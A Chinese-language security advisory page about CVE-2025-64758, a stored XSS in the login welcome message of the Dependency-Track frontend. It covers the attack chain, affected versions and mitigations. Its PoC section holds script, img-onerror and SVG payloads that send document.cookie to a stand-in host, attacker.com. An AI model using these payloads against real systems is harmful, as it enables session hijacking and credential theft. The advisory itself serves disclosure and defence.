IPBUF安全漏洞报告
English
CVE-2025-64758 CVSS 4.8 中危

CVE-2025-64758: Dependency-Track前端登录页存储型XSS漏洞

披露日期: 2025-11-17

漏洞信息

漏洞编号
CVE-2025-64758
漏洞类型
存储型跨站脚本攻击(XSS)
CVSS评分
4.8 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
Dependency-Track Frontend (@dependencytrack/frontend)

相关标签

存储型XSS跨站脚本攻击Dependency-Track@dependencytrack/frontend软件供应链安全组件分析平台登录页面漏洞权限滥用前端安全HTML注入

漏洞概述

Dependency-Track是一款开源的软件组件分析平台,用于帮助组织识别和降低软件供应链中的风险。其前端应用@dependencytrack/frontend是从4.12.0版本开始,引入了可自定义的欢迎消息功能,该功能允许具有SYSTEM_CONFIGURATION权限的用户(管理员)配置在登录页面显示的HTML内容,用于品牌展示 purposes。然而,系统在渲染欢迎消息时未对HTML进行充分的 sanitization(消毒处理),导致攻击者可以在欢迎消息中注入任意JavaScript代码。当普通用户访问登录页面时,这些恶意JavaScript代码会被执行,可能导致会话劫持、凭据窃取、钓鱼攻击等安全问题。由于漏洞位于登录页面,影响范围覆盖所有访问登录页面的用户,包括管理员在内。

技术细节

该漏洞为存储型XSS(Stored XSS)漏洞,存在于Dependency-Track前端应用的欢迎消息渲染模块中。具体技术细节如下:

1. **漏洞位置**:frontend/src/components/WelcomeMessage组件或相关的登录页面渲染逻辑

2. **根本原因**:系统在渲染用户配置的欢迎消息HTML时,直接将HTML内容插入到DOM中,而未进行适当的HTML转义或使用安全的HTML渲染方法(如DOMPurify等库进行sanitization)

3. **利用条件**:
- 攻击者需要拥有SYSTEM_CONFIGURATION权限(管理员权限)
- 需要能够访问系统配置界面修改欢迎消息
- 目标用户需访问登录页面

4. **攻击效果**:
- 可窃取用户会话Cookie
- 可进行钓鱼攻击,伪造登录表单
- 可重定向用户到恶意网站
- 可在用户浏览器中执行任意JavaScript代码

5. **修复方案**:
- 使用DOMPurify等HTML sanitization库对欢迎消息进行消毒处理
- 或者将欢迎消息作为纯文本处理,禁止HTML渲染
- 已在4.13.6版本中修复

攻击链分析

STEP 1
步骤1:信息收集
攻击者首先获取Dependency-Track系统的访问权限,特别是获得SYSTEM_CONFIGURATION权限(管理员账户)
STEP 2
步骤2:漏洞注入
具有管理员权限的攻击者登录系统,访问系统配置页面,在Welcome Message配置字段中注入包含恶意JavaScript代码的HTML payload
STEP 3
步骤3:Payload存储
恶意HTML内容被存储在后端数据库中,当其他用户访问登录页面时,该内容会被从数据库中取出并渲染
STEP 4
步骤4:触发执行
目标用户(如普通用户或其他管理员)访问Dependency-Track的登录页面,恶意JavaScript代码在用户浏览器中执行
STEP 5
步骤5:数据窃取/攻击完成
恶意脚本可窃取用户会话Cookie、凭据信息,或执行其他恶意操作,攻击者通过外带数据通道获取窃取的信息

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- PoC for CVE-2025-64758: Stored XSS in Welcome Message --> <!-- This payload should be entered in the Welcome Message configuration field --> <script> // Steal session cookies document.cookie.split(';').forEach(cookie => { fetch('https://attacker.com/steal?cookie=' + encodeURIComponent(cookie), { method: 'GET', mode: 'no-cors' }); }); // Redirect to phishing page // window.location.href = 'https://attacker.com/fake-login'; </script> <!-- Alternative payload using img tag with onerror --> <!-- <img src=x onerror="fetch('https://attacker.com/steal?data='+document.cookie)"> --> <!-- Alternative payload using SVG --> <!-- <svg/onload=fetch('https://attacker.com/steal?data='+btoa(document.cookie))> -->

影响范围

@dependencytrack/frontend >= 4.12.0 且 < 4.13.6
Dependency-Track Frontend 4.12.0
Dependency-Track Frontend 4.12.1
Dependency-Track Frontend 4.12.2
Dependency-Track Frontend 4.12.3
Dependency-Track Frontend 4.12.4
Dependency-Track Frontend 4.12.5
Dependency-Track Frontend 4.12.6
Dependency-Track Frontend 4.13.0
Dependency-Track Frontend 4.13.1
Dependency-Track Frontend 4.13.2
Dependency-Track Frontend 4.13.3
Dependency-Track Frontend 4.13.4
Dependency-Track Frontend 4.13.5

防御指南

临时缓解措施
如果无法立即升级到修复版本,可采取以下临时缓解措施:1) 限制SYSTEM_CONFIGURATION权限仅授予绝对必要的人员,并加强对这些账户的监控;2) 审查现有的欢迎消息配置,移除任何可疑的HTML内容;3) 在前端代理或WAF层添加HTML过滤规则,拦截<script>标签和其他可能的XSS向量;4) 启用Content-Security-Policy头部,严格限制页面可以执行的脚本来源;5) 考虑临时禁用欢迎消息功能,直到完成版本升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表